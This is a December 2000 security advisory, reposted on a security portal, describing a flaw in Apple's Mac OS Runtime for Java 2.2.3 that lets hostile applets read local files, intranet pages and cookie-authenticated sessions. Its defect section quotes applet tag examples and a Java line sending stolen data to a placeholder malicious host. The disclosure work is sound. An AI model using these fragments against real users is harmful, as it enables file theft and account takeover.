[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Security Hole of MRJ 2.2.3 (Mac OS Runtime for Java)

Title: Security Hole of MRJ 2.2.3 (Mac OS Runtime for Java)
Released by: Hiromitsu Takagi
Date: 18th December 2000
Printable version: Click here 
------------------------------------------------------------------

       Security Hole of MRJ 2.2.3 (Mac OS Runtime for Java)

     - Inconsistent Use of CODEBASE and ARCHIVE Attributes -

     http://java-house.etl.go.jp/ml/archive/j-h-b/039457.html

------------------------------------------------------------------



Contents

========

   o Affected Products

   o Potential Damage

   o Verification

   o Workaround

   o Vendor Response

   o Nature of Defect

   o Where Responsibility Rests

   o Details of Potential Damage





Affected Products

=================



Version 2.2.3 of MRJ (Mac OS Runtime for Java).  This has not been

confirmed yet, but all older versions may be affected also.  It is

also affected that Web browser for Mac OS, Internet Explorer 4.5 and 5,

Netscape 6, iCab and other software all of which use MRJ.



"MRJ" is installed in all recent Mac OS as a standard provision and is

used in browsing Web pages.



This security hole is found existing in the following combinations:



  o Mac OS + MRJ 2.2.3 + Internet Explorer 4.5

  o Mac OS + MRJ 2.2.3 + Internet Explorer 5

  o Mac OS + MRJ 2.2.3 + Netscape 6

  o Mac OS + MRJ 2.2.3 + iCab pre2.2

  o Mac OS + MRJ 2.2.3 + Mozilla MRJ Plug-in 1.0b1 + Netscape 4.76





Potential Damage

================



This bug exposes the browsing user to the following damage the moment

he or she accidentally or otherwise browses a page intentionally set

by a malicious Web site operator:



(1) Arbitrary files in the computer of the browsing user will be

    stolen.

(2) The browser of the browsing user will be taken over and will be

    made to access an arbitrary Web site.

(3) Information in Web pages that is disclosed only to the inside of

    the organization (intranet) will be stolen.



Specifically what damage will be inflicted by them will be described

in "Details of Potential Damage."





Verification

============



A demonstration applet to verify the existence of this bug has been

created.

http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/Test.html



Pressing the "Execute" button will output the list of file names in

the volume "Macintosh HD" in the TextArea under.  (See Fig. 1.)



If Macintosh is used by changing the volume name to other than

"Macintosh HD," which is the default, input the changed name to the

TextField on the left of the "Execute" button and press the "Execute"

button.



Pressing "Send this to the server" button will transfer the data in

the TextArea to the server.  The server is configured to return

received data as it is and the data will be displayed on the browser

screen. (See Fig. 2.)



WARNING: Do not press the "Send this to the server" button unless you

wish data to be transferred.



It has been confirmed that file data will also be read and that

connection to any server will be possible even though this

demonstration applet reads only file names.



Fig. 1  List of file names in Macintosh HD is read

http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/fig-1.gif

Fig. 2  Data transferred to a server

http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/fig-2.gif





Workaround

==========



Wait until a version of MRJ fixing this bug is released by Apple

Computer and install it.  This version has not been released as of

December 14 2000.  The latest version of MRJ can be obtained through

the following site:

http://www.apple.com/java/



As long as fixed MRJ cannot be obtained, stop the Java functions of

the Web browser.



For Internet Explorer:

   Select "Preferences" in the "Edit" menu. Select "Java" and check

   off the check box "Enable Java."



For Netscape 6:

   Select "Preferences" in the "Edit" menu.  Select "Advanced" in

   "Category" on the left and check off the check box "Enable Java."



For iCab:

   Select "Preferences" in the "Edit" menu.  Select "Settings /

   Security" in "Java" and check off the check box "Execute Java

   applets."





Vendor Response

===============



On October 25 2000, e-mail was sent to Apple Japan, Inc., notifying "A

security hole has been found."  On October 26, Apple Japan replied,

"Apple has received the notice and will investigate the facts with

sincerity.  Please report the nature of the bug."  The reply stated,

however, "to refrain from making inquiries on the progress of our

investigations."



On the same day, I sent the following questions to the staff at Apple

Japan, Inc.:



| From: "TAKAGI, Hiromitsu" 

| To: Apple Japan Customer Relations 

| Date: Thu, 26 Oct 2000 12:49:39 +0900

| Message-Id: <20001026123030.66BC.TAKAGI@etl.go.jp>

| Subject: New Security Hole of MRJ

|

| I consider that safeguarding safety of citizens is of the highest

| priority.  As I stated in my e-mail yesterday,

|

| > > this bug can attack by a similar method as that of the bug found last

| > > week with Internet Explorer for Windows and may be noticed relatively

| > > easily by all.  As the situation now stands, this bug will be abused

| > > as a matter of time.  An appropriate action must be taken quickly.

|

| As mentioned above, this bug can be easily analogized from problems

| that are already known and hazards of it must be disseminated widely

| to the users before it is abused.

|

| If a fixed version cannot be provided quickly or if the users are not

| notified by an appropriate method, I will be compelled to call on the

| users to stop using this defective software to ensure safety of the

| citizens.

|

| If you are taking an appropriate action, I will refrain from

| disclosing the matter publicly and will leave it to you to take

| appropriate actions.

|

| To enable me to judge which course of action I should take, I need to

| know the progress made by you.

|

| > refrain from making inquiries on the progress of our investigations.

|

| I must conclude that an appropriate action by you cannot be expected

| and I will reluctantly be compelled to call for a stop in using the

| defective software, giving the highest priority to safety of the

| citizens.

|

| I would like to ask Apple Computer what actions are you going to take?

|

| 1. Do you intend to provide a fixed module?  (Yes / No)

| 2. What will be estimated time needed by you to provide a fixed module?

|    (Less than a week / about several weeks / about one month / about

|    several months / longer)

| 3. Prior to providing a fixed module, do you intend to notify the users

|    about the existence of hazards and a temporary troubleshooting

|    method?  (Yes / No)

| 4. If you intend to notify the users, which method will you use?

|    (Only announce by TIL / link from top page / letters or e-mail to

|    registered users / newspaper ads / other method)

| 5. If you intend to provide a fixed module, do you plan to explain the

|    magnitude of hazards which existed with the old versions?  (Yes / No)



However, unfortunately, I did not receive any reply from Apple.  On

October 28, I informed the nature of the bug and showed URL or the

demonstration applet for verification.  Nevertheless, no response

has been received to date.



On October 28 also, I simultaneously contacted Tom O'Brien, an MRJ

engineer of Apple Computer in the U. S., to who I was introduced

through the mailing list of "MRJ-DEV," and notified him about the

nature of this bug.  I asked the same questions mentioned above.

No reply has been received.



Forty five days have passed after reporting the bug for the first time

while no announcement has been made by Apple Computer as of December

14 2000.  I am therefore disclosing this fact.





Nature of Defect

=================



As a security constraint, the Java applet is designed allowing

information to be read only from the Web site of the party who

originally downloaded the applet program.  In Java VM, the site of the

original downloading source is displayed in URL as "CODEBASE." In the

 tag, which is used when pasting the Java applet in a Web page,

the original download source of the applet can be designated by the

attribute "CODEBASE."  For example, when

  " target="_new">http://www.target.example/">

is written, the applet program will be downloaded from

  http://www.target.example/Test.class

regardless of where HTML written in the tags is located.  The applet

is restricted to read only the information of "www.target.com."



On the other hand, the  tag has the attribute "ARCHIVE,"

allowing loading Java applet programs which are archived in the JAR

file.  For example, when

  

is written, the "Test.jar" file that is located in the same directory

as that of the HTML file will be downloaded.



What will happen if both attributes CODEBASE and ARCHIVE are

designated?  For example, when

  http://www.target.example/"

          ARCHIVE="" target="_new">http://www.malicious.example/Test.jar">

are described and if an applet program is downloaded from

"www.malicious.example," this applet will be able to read the

information of "www.target.example."  If this is the case, a security

problem will arise.



The CODEBASE attribute must be made to be ignored or the applet must

be disabled to start in case these conflicting CODEBASE and ARCHIVE

attributes are designated.



In spite of this, MRJ 2.2.3 safely activates the applet and allows

reading information of the site designated by the CODEBASE attribute.



By designating "file:///" URL as the CODEBASE attribute, local files

too can be read.

  " target="_new">http://www.malicious.example/exploit.jar">



Some of the readers will question; the applet can communicate with

only the hosts of CODEBASE and cannot send the information to a

malicious server even though the applet can read information, which it

should not be allowed to read.  However, at least, information can be

transferred by the following method:

  String cgi = "http://www.malicious.example/receive-query.cgi";

  getAppletContext().showDocument(new URL(cgi + "?" + URLEncoder.encode(data)));





Where Responsibility Rests

==========================



This bug is based on the same theory as that of bug of Windows

Internet Explorer "MS00-81" (See *1) reported on October 18 2000 by

Georgi Guninski.  MS00-081 was a bug that caused the same phenomenon

as that of this bug when an applet is started by the  tag.

The only difference is that the MRJ bug now being discussed is caused

by the  tag and not by the  tag.



*1:

  Report to BugTraq by Georgi Guninski:

    http://www.securityfocus.com/archive/1/140245

  BugTraq databese - "Microsoft Virtual Machine Arbitrary Java Codebase

  Execution Vulnerability"

    http://www.securityfocus.com/bid/1812

  Microsoft Security Bulletin MS00-081:

    http://www.microsoft.com/technet/security/bulletin/MS00-081.asp



The following description in a document "MS00-81" of Microsoft may be

related to this discussion.



http://www.microsoft.com/technet/security/bulletin/MS00-081.asp

> The vulnerability at issue here is a new variant of the vulnerability

> originally discussed in Microsoft Security Bulletin MS00-011. The only

> significant difference between the new and original variants lies in

> the specific programming technique used to exploit the vulnerability;

> in other respects, the two are virtually identical.



Surely, the same bug existed with the  tag as that with MRJ

now discussed when a test was made with Windows 98 2nd edition, which

was installed with Microsoft VM, which was the version fixed by MS00-011.



    However, for some reason, only the root directory could not be

    read by Windows Internet Explorer.  For this reason, a

    demonstration applet was created for checking by designating

    "file:///Program Files/" as CODEBASE.

    http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/Test-forWindowsIE.html



In other words, the problem with Microsoft VM of Windows fixed by

MS00-011 in February 2000 has not been fixed with MRJ since then.



It was careless on the part of Microsoft that they overlooked the fact

the  tag would have a similar problem when they fixed this bug

of the  tag by MS00-001.  Be that as it may, why did not Apple

Computer recognize at that time the possibility of the same problem

occurring again with their own products?



Furthermore, what is surprising is that this bug seemed to have

existed in JDK of Sun Microsystems.  This phenomenon is reproduced

when the foregoing demonstration applet for verification is opened by

the appletvirewr of JDK1.1.4.  However, it does not reproduce in JDK

1.1.5.  It appears that Sun knew this bug and fixed it in JDK1.1.5.

However, Sun's page summarizing its history of security problems in

the past related to Java <http://java.sun.com/sfaq/chronology.html>

does not describe it.



Did Sun notify other Java VM vendors when they fixed this bug in their

JDK 1.1.5?  Did any one in Sun notice that MRJ was not fixed yet?



If these simple mistakes are to continue in the future, how can we

reliably use Java?  Beginning this year, more careless security holes

have been found with Java VM implementations of various vendors.  It

is ironical that a password "Java OFF when net surfing" is spreading

among ordinary citizens as a common sense.  As engineers engaged in

the development by Java, we expect thorough disclosure of security

vulnerability information related to Java, notification to their

vendors and precise notification to JRE users.





Details of Potential Damage

===========================



As mentioned above, damage suffered by Web page browsers by this bug

can be classified into the following three groups:

(1) Arbitrary files in the computer of the browsing user will be

    stolen.

(2) The browser of the browsing user will be taken over and will be

    made to access an arbitrary Web site.

(3) Information in Web pages that is disclosed only to the inside of

    the organization (intranet) will be stolen.



The threat brought about by Problem (1) is obvious and does not have

to be explained.  The reader is requested to see a document published

earlier, "Danger of Security Defect of Any Host Being Accessed" on

Problem (3).

http://java-house.etl.go.jp/ml/archive/j-h-b/033470.html



The remaining problem, Problem 2), does not seem to be known fully. As

one of the threats brought about by the Brown Orifice security hole

reported in August 2000, this problem has already been taken up in

BugTraq also.  Nevertheless, Microsoft's document MS00-081 fails to

mention about this threat.



Threat (2) is explained below.



The threat posed by the bug allowing the Java applet accessing any

host is not confined to information read out only.  If the java.net.

URLConnection function supports Cookie, the following threat will

occur:



In case browsers of the browsing users are forcibly accessed by sites

designated by intentions of malicious Web site setters, such accessing

will become accessing based on information (Cookies) unique to the

browser and will be deemed as operation by the browsing users

themselves.



As a result, the browsing users may be penalized as follows:



 - Electronic commerce sites using Cookies with an indefinite time

   limit will be accessed for authenticattion of the users themselves

   and false purchase orders will be issued.



   Sites that do not require password input, such as placing orders by

   clicking only, may be authenticating the users only by a Cookie

   with an indefinite time limit.



 - In case the users are authenticated only by a Cookie, even

   electronic commerce sites operated by a Cookie that is set with a

   term of validity may sometimes issue purchase orders without

   inputting a password because a Cookie within this term of validity

   is used if they are accessed by sites, which have a mechanism to

   abuse this security hole, immediately after transaction sites are

   used.



 - Among services which authenticate the users by a Cookie with a set

   term of validity, those Web mail system services almost certainly

   have operations of their Web mail systems taken over when they

   receive mail embedded with a malicious applet.  As a result, mail

   is stolen and is read and false mail is sent by malicious users who

   disguise as browsing users.



   The reason for "almost certainly" is as follows.  The moment a

   browsing user accesses an applet, which is a trap, the browsing

   user is naturally using the Web mail system and the Cookie for the

   Web mail system is always within its term of validity so that the

   Web mail is taken over almost certainly.



--

Hiromitsu Takagi

Electrotechnical Laboratory

http://www.etl.go.jp/~takagi/





(C) 1999-2000 All rights reserved.